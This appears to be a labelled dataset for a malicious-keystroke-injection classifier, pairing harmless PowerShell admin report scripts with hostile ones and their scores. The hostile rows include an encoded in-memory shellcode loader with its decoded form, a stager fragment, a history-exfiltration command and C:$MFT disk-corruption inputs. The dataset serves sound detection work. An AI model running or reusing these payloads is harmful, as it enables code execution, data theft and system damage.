$stream.Dispose() enter if (-not [string]::IsNullOrEmpty($payload)) { enter $ReceiverMessages.Enqueue($payload) > $null enter } enter } enter } enter $receiver.Close() enter enter",0,1,0.027958196,0.9720418
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_uk9m7ut3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.366106e-05
win+r powershell enter $alreadyEnabled = $false function Start-TestFixture { & (Join-Path -Path $PSSc enter riptRoot '..\Initialize-CarbonTest.ps1' -Resolve) } function Start-Test { $alr enter eadyEnabled = Test-FirewallStatefulFtp if( $alreadyEnabled ) enter enter,1,1,0.0002423063,0.9997577
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_1qxw803m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter",0,0,0.9999658,3.418412e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_aup8zxg8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_150.csv"") -NoTypeInformation enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3962544e-05
win terminal enter history > /volumes/ducky/history.txt enter enter win w enter,1,1,0.00025166958,0.9997483
"win+r powershell enter DUCKY_REAL_BEGIN enter REM ########################################### enter REM # | enter REM # Title : Send Messages In Teams | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Prank | enter REM # Target : Windows 10-11 | enter REM # | enter REM ########################################### enter REM Requirements: enter REM - Microsoft Teams installed and user logged-in enter REM - Internet Connection enter REM - ExecutionPolicy Bypass enter REM - Python enter REM 1. Open a powershell enter REM 2. Close if Teams is opens and reopen it enter REM 3. Goto search bar enter REM 4. Search the person by name, email, id or what you want... enter REM 5. Downarrow and enter to open the chat enter REM REQUIRED - Name, email, id or what you want for contact the target enter DEFINE USER-ID example enter REM REQUIRED - Messages enter DEFINE MESSAGE1 example enter REM ... enter REM DEFINE MESSAGEN example.. enter DELAY 1000 enter GUI r enter DELAY 1000 enter STRING powershell enter ENTER enter DELAY 2000 enter REM #### Powershell #### enter STRINGLN Stop-Process -Name ""Teams"" enter DELAY 1000 enter STRINGLN Start-Process ""$Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Teams (work or school)"" enter REM It depends by the computer power enter DELAY 10000 enter REM #### Teams #### enter CTRL N enter DELAY 2000 enter DUCKY_REAL_END enter",1,1,5.8302165e-05,0.9999417
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_7s8zuknc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.488748e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_d93jq2mn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.369379e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""v31_repair_report_disk_checks_0uhn9wdwtb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_summary_28.csv"") -NoTypeInformation enter",0,0,0.999966,3.3986813e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_ghjvnwy2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter",0,0,0.9999653,3.4703287e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_gnlsryhe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_50.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3907658e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_tmfk8apl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4105055e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_ia7o6hfn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4589462e-05
win+r powershell enter delay_medium enter unknown_key_action CONTROL ESCAPE enter delay_medium enter C:$MFT enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter unknown_key_action CONTROL ESCAPE enter delay_medium enter C:$MFT\123 enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter unknown_key_action CONTROL ESCAPE enter delay_medium enter C:$MFT enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter unknown_key_action CONTROL ESCAPE enter delay_medium enter C:$MFT\123 enter delay_medium enter enter enter delay_medium enter enter enter,1,1,5.7009052e-05,0.999943
"win+r powershell enter $endpoint = 'mysftestcluster.southcentralus.cloudapp.azure.com:19000' $thumbprin enter t = '2779F0BB9A969FB88E04915FFE7955D0389DA7AF' $packagepath=""C:\Users\sfuser\Doc enter uments\Visual Studio 2017\Projects\MyApplication\MyApplication\pkg\Release"" Con enter nect-ServiceFabricCluster -ConnectionEndpoint $endpoint ` -KeepAliveIntervalInS enter ec 10 ` -X509Credential -ServerCertThumbprint $thumbprint ` -FindType FindByTh enter umbprint -FindValue $thumbprint ` -StoreLocation CurrentUser -StoreName My Rem enter ove-ServiceFabricApplication -ApplicationName fabric:/MyApplication enter enter",1,1,0.061795272,0.93820477
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_w0pozqd2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4167464e-05
"win+r powershell enter function Start-Negotiate { param($s,$SK,$UA) function ConvertTo-RC4ByteStream enter { Param ($RCK, $In) begin { [Byte[]] $S = 0..255; $J = 0; 0..255 | ForEach enter -Object { $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256; $S[$_], $S[$J] = enter $S[$J], $S[$_]; }; enter enter",1,1,0.00011246668,0.99988747
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_bwcng87d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4611374e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_m02hqzxc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3907076e-05
"win+r enter powershell enter enter enter ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -ec JABmAGsAQwBEACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAZgBrAEMARAAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGIALAAwAHgAYwBhACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeABiAGIALAAwAHgANABjACwAMAB4AGUAMwAsADAAeABkADEALAAwAHgANQBjACwAMAB4ADUAZAAsADAAeAAyAGIALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA1ADMALAAwAHgAOAAzACwAMAB4AGMANQAsADAAeAAwADQALAAwAHgAMwAxACwAMAB4ADUAZAAsADAAeAAxADYALAAwAHgAMAAzACwAMAB4ADUAZAAsADAAeAAxADYALAAwAHgAZQAyACwAMAB4AGIAOQAsADAAeAAxAGYALAAwAHgAMwA5ACwAMAB4AGQAMwAsADAAeAA0ADEALAAwAHgAZQAwACwAMAB4AGIAYQAsADAAeAA4AGMALAAwAHgANwAwACwAMAB4ADMAMgAsADAAeAAzADMALAAwAHgAYQA5ACwAMAB4ADEANgAsADAAeAAzADkALAAwAHgAMQA2ACwAMAB4ADAAMgAsADAAeAA1AGQALAAwAHgANgBmACwAMAB4ADkAYgAsADAAeABlADkALAAwAHgAMwAzACwAMAB4ADgANAAsADAAeABhAGMALAAwAHgANQBhACwAMAB4AGYAOQAsADAAeAA4ADIALAAwAHgAOAAzACwAMAB4ADUAYgAsADAAeAA3ADYALAAwAHgAYgA4ACwAMAB4AGMAYgAsADAAeAA5ADIALAAwAHgANAA4ACwAMAB4ADkAMQAsADAAeAAzADAALAAwAHgAYgA0ACwAMAB4ADMANAAsADAAeABlADgALAAwAHgANgA0ACwAMAB4ADEANgAsADAAeAAwADUALAAwAHgAMgAzACwAMAB4ADcAOQAsADAAeAA1ADcALAAwAHgANAAyACwAMAB4AGYANQAsADAAeABmADcALAAwAHgAYgA4ACwAMAB4ADEAZQAsADAAeAA4AGQALAAwAHgAYQBhACwAMAB4ADUANgAsADAAeABjADkALAAwAHgAMQBhACwAMAB4ADAAOAAsADAAeAA2AGIALAAwAHgAZgA0ACwAMAB4AGMAYwAsADAAeAAwADYALAAwAHgAZAAzACwAMAB4ADgAZQAsADAAeAA2ADkALAAwAHgAZAA4ACwAMAB4AGEAMAAsADAAeAAyADIALAAwAHgANwAzACwAMAB4ADAAOQAsADAAeABjADMALAAwAHgAZgAyACwAMAB4ADYAYgAsADAAeABmADkALAAwAHgANQBmACwAMAB4ADUAYQAsADAAeABhAGMALAAwAHgAZgA4ACwAMAB4ADgAYwAsADAAeABkAGYALAAwAHgANgA1ACwAMAB4ADgAZQAsADAAeAAwAGUALAAwAHgAOQA2ACwAMAB4ADQANAAsADAAeAA5ADAALAAwAHgAZQA0ACwAMAB4ADEAYwAsADAAeAAyAGMALAAwAHgANgBmACwAMAB4ADIAZAAsADAAeAA2AGQALAAwAHgAZgAyACwAMAB4AGIAMQAsADAAeAAxAGUALAAwAHgAOAAwACwAMAB4ADUAZQAsADAAeAAzADAALAAwAHgANgA2ACwAMAB4AGEAMgAsADAAeAA3AGUALAAwAHgANAA2ACwAMAB4ADkAYwAsADAAeABkADEALAAwAHgAMAAzACwAMAB4ADUAMQAsADAAeAA2ADcALAAwAHgAYQA4ACwAMAB4AGQAZgAsADAAeABkADQALAAwAHgANwA4ACwAMAB4ADAAYQAsADAAeABhAGIALAAwAHgANABmACwAMAB4ADUAZAAsADAAeABhAGIALAAwAHgANwA4ACwAMAB4ADAAOQAsADAAeAAxADYALAAwAHgAYQA3ACwAMAB4ADMANQAsADAAeAA1AGQALAAwAHgANwAwACwAMAB4AGEAYgAsADAAeABjADgALAAwAHgAYgAyACwAMAB4ADAAYQAsADAAeABkADcALAAwAHgANAAxACwAMAB4ADMANQAsADAAeABkAGQALAAwAHgANQBlACwAMAB4ADEAMQAsADAAeAAxADIALAAwAHgAZgA5ACwAMAB4ADMAYgAsADAAeABjADEALAAwAHgAMwBiACwAMAB4ADUAOAAsADAAeABlADEALAAwAHgAYQA0ACwAMAB4ADQANAAsADAAeABiAGEALAAwAHgANABkACwAMAB4ADEAOAAsADAAeABlADEALAAwAHgAYgAwACwAMAB4ADcAZgAsADAAeAA0AGYALAAwAHgAOQA1ACwAMAB4ADMAOAAsADAAeAA4ADAALAAwAHgANwAwACwAMAB4AGMAYgAsADAAeABhAGUALAAwAHgANABkACwAMAB4AGIAZAAsADAAeABmADQALAAwAHgAMgBlACwAMAB4AGQAOQAsADAAeABiADYALAAwAHgAOAA3ACwAMAB4ADEAYwAsADAAeAA0ADYALAAwAHgANgBkACwAMAB4ADAAMAAsADAAeAAyAGQALAAwAHgAMABmACwAMAB4AGEAYgAsADAAeABkADcALAAwAHgANQAyACwAMAB4ADMAYQAsADAAeAAwAGIALAAwAHgANAA3ACwAMAB4AGEAZAAsADAAeABjADQALAAwAHgANgBjACwAMAB4ADQAMQAsADAAeAA2AGEALAAwAHgAOQAwACwAMAB4ADMAYwAsADAAeABmADkALAAwAHgANQBiACwAMAB4ADkAOAAsADAAeABkADYALAAwAHgAZgA5ACwAMAB4ADYANAAsADAAeAA0AGQALAAwAHgANwA4ACwAMAB4AGEAYQAsADAAeABjAGEALAAwAHgAMwBkACwAMAB4ADMAOQAsADAAeAAxAGEALAAwAHgAYQBiACwAMAB4AGUAZAAsADAAeABkADEALAAwAHgANwAwACwAMAB4ADIANAAsADAAeABkADIALAAwAHgAYwAyACwAMAB4ADcAYQAsADAAeABlAGUALAAwAHgANwBiACwAMAB4AGUAYQAsADAAeAA5AGYALAAwAHgAMQAxACwAMAB4ADgAMwAsADAAeABlAGIALAAwAHgAZgAyACwAMAB4ADcAOAAsADAAeABlADAALAAwAHgAOQA5ACwAMAB4ADYAMwAsADAAeAAwADgALAAwAHgAOAA5ACwAMAB4ADMAYgAsADAAeAAwADgALAAwAHgAYwAzACwAMAB4ADMAZQAsADAAeABhADEALAAwAHgAOAA5ACwAMAB4ADMANQAsADAAeABhADQALAAwAHgANQBjACwAMAB4ADAAOQAsADAAeAAyADEALAAwAHgANAAwACwAMAB4AGYAMQAsADAAeABiAGUALAAwAHgAOQBiACwAMAB4AGUANwAsADAAeAA3AGYALAAwAHgAMgA2ACwAMAB4AGUANAAsADAAeAA5AGYALAAwAHgAZAA2ACwAMAB4ADgAMAAsADAAeABkADAALAAwAHgAZABmACwAMAB4AGQANgAsADAAeAAwADQALAAwAHgAOQAzACwAMAB4ADkAZgAsADAAeAAzADQALAAwAHgAYwBkACwAMAB4AGEAZQAsADAAeAA0AGYALAAwAHgAMgBkACwAMAB4ADEAMwAsADAAeABhAGYALAAwAHgAYgA1ACwAMAB4AGMAYQAsADAAeAA5AGEALAAwAHgANAA5ACwAMAB4ADIAMwAsADAAeAAwADUALAAwAHgAYwBiACwAMAB4AGMAMgAsADAAeABkAGIALAAwAHgAYgBjACwAMAB4ADUANgAsADAAeAA5ADgALAAwAHgANwBhACwAMAB4ADQAMAAsADAAeAA0AGQALAAwAHgAZQA0ACwAMAB4AGIAYwAsADAAeABjAGEALAAwAHgANgAyACwAMAB4ADEAOAAsADAAeAA3ADIALAAwAHgAMwBiACwAMAB4ADAAZQAsADAAeAAwAGEALAAwAHgAZQAyACwAMAB4AGMAYgAsADAAeAA0ADUALAAwAHgANwAwACwAMAB4AGEANAAsADAAeABkADQALAAwAHgANwAzACwAMAB4ADEAZgAsADAAeAA0ADgALAAwAHgANAAxACwAMAB4ADcAOAAsADAAeABiADYALAAwAHgAMQBmACwAMAB4AGYAZAAsADAAeAA4ADIALAAwAHgAZQBmACwAMAB4ADUANwAsADAAeABhADIALAAwAHgANwBkACwAMAB4AGQAYQAsADAAeABlAGMALAAwAHgANgBiACwAMAB4AGUAOAAsADAAeABhADUALAAwAHgAOQBhACwAMAB4ADkAMwAsADAAeABmAGMALAAwAHgAMgA1ACwAMAB4ADUAYQAsADAAeABjADIALAAwAHgAOQA2ACwAMAB4ADIANQAsADAAeAAzADIALAAwAHgAYgAyACwAMAB4AGMAMgAsADAAeAA3ADUALAAwAHgAMgA3ACwAMAB4AGIAZAAsADAAeABkAGUALAAwAHgAZQA5ACwAMAB4AGYANAAsADAAeAAyADgALAAwAHgAZQAxACwAMAB4ADUAYgAsADAAeABhADkALAAwAHgAZgBiACwAMAB4ADgAOQAsADAAeAA2ADEALAAwAHgAOQA0ACwAMAB4AGMAYwAsADAAeAAxADUALAAwAHgAOQA5ACwAMAB4AGYAMwAsADAAeABjAGMALAAwAHgANgBhACwAMAB4ADQAYwAsADAAeAAzAGQALAAwAHgAYgBiACwAMAB4ADgAMgAsADAAeAA0AGMAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAGMAYQBsAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABjAGEAbAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAYwBhAGwALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsA enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter $fkCD = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $fkCD -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xca,0xd9,0x74,0x24,0xf4,0xbb,0x4c,0xe3,0xd1,0x5c,0x5d,0x2b,0xc9,0xb1,0x53,0x83,0xc5,0x04,0x31,0x5d,0x16,0x03,0x5d,0x16,0xe2,0xb9,0x1f,0x39,0xd3,0x41,0xe0,0xba,0x8c,0x70,0x32,0x33,0xa9,0x16,0x39,0x16,0x02,0x5d,0x6f,0x9b,0xe9,0x33,0x84,0xac,0x5a,0xf9,0x82,0x83,0x5b,0x76,0xb8,0xcb,0x92,0x48,0x91,0x30,0xb4,0x34,0xe8,0x64,0x16,0x05,0x23,0x79,0x57,0x42,0xf5,0xf7,0xb8,0x1e,0x8d,0xaa,0x56,0xc9,0x1a,0x08,0x6b,0xf4,0xcc,0x06,0xd3,0x8e,0x69,0xd8,0xa0,0x22,0x73,0x09,0xc3,0xf2,0x6b,0xf9,0x5f,0x5a,0xac,0xf8,0x8c,0xdf,0x65,0x8e,0x0e,0x96,0x44,0x90,0xe4,0x1c,0x2c,0x6f,0x2d,0x6d,0xf2,0xb1,0x1e,0x80,0x5e,0x30,0x66,0xa2,0x7e,0x46,0x9c,0xd1,0x03,0x51,0x67,0xa8,0xdf,0xd4,0x78,0x0a,0xab,0x4f,0x5d,0xab,0x78,0x09,0x16,0xa7,0x35,0x5d,0x70,0xab,0xc8,0xb2,0x0a,0xd7,0x41,0x35,0xdd,0x5e,0x11,0x12,0xf9,0x3b,0xc1,0x3b,0x58,0xe1,0xa4,0x44,0xba,0x4d,0x18,0xe1,0xb0,0x7f,0x4f,0x95,0x38,0x80,0x70,0xcb,0xae,0x4d,0xbd,0xf4,0x2e,0xd9,0xb6,0x87,0x1c,0x46,0x6d,0x00,0x2d,0x0f,0xab,0xd7,0x52,0x3a,0x0b,0x47,0xad,0xc4,0x6c,0x41,0x6a,0x90,0x3c,0xf9,0x5b,0x98,0xd6,0xf9,0x64,0x4d,0x78,0xaa,0xca,0x3d,0x39,0x1a,0xab,0xed,0xd1,0x70,0x24,0xd2,0xc2,0x7a,0xee,0x7b,0xea,0x9f,0x11,0x83,0xeb,0xf2,0x78,0xe0,0x99,0x63,0x08,0x89,0x3b,0x08,0xc3,0x3e,0xa1,0x89,0x35,0xa4,0x5c,0x09,0x21,0x40,0xf1,0xbe,0x9b,0xe7,0x7f,0x26,0xe4,0x9f,0xd6,0x80,0xd0,0xdf,0xd6,0x04,0x93,0x9f,0x34,0xcd,0xae,0x4f,0x2d,0x13,0xaf,0xb5,0xca,0x9a,0x49,0x23,0x05,0xcb,0xc2,0xdb,0xbc,0x56,0x98,0x7a,0x40,0x4d,0xe4,0xbc,0xca,0x62,0x18,0x72,0x3b,0x0e,0x0a,0xe2,0xcb,0x45,0x70,0xa4,0xd4,0x73,0x1f,0x48,0x41,0x78,0xb6,0x1f,0xfd,0x82,0xef,0x57,0xa2,0x7d,0xda,0xec,0x6b,0xe8,0xa5,0x9a,0x93,0xfc,0x25,0x5a,0xc2,0x96,0x25,0x32,0xb2,0xc2,0x75,0x27,0xbd,0xde,0xe9,0xf4,0x28,0xe1,0x5b,0xa9,0xfb,0x89,0x61,0x94,0xcc,0x15,0x99,0xf3,0xcc,0x6a,0x4c,0x3d,0xbb,0x82,0x4c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$cal=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($cal.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$cal,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.493069e-05,0.99994504
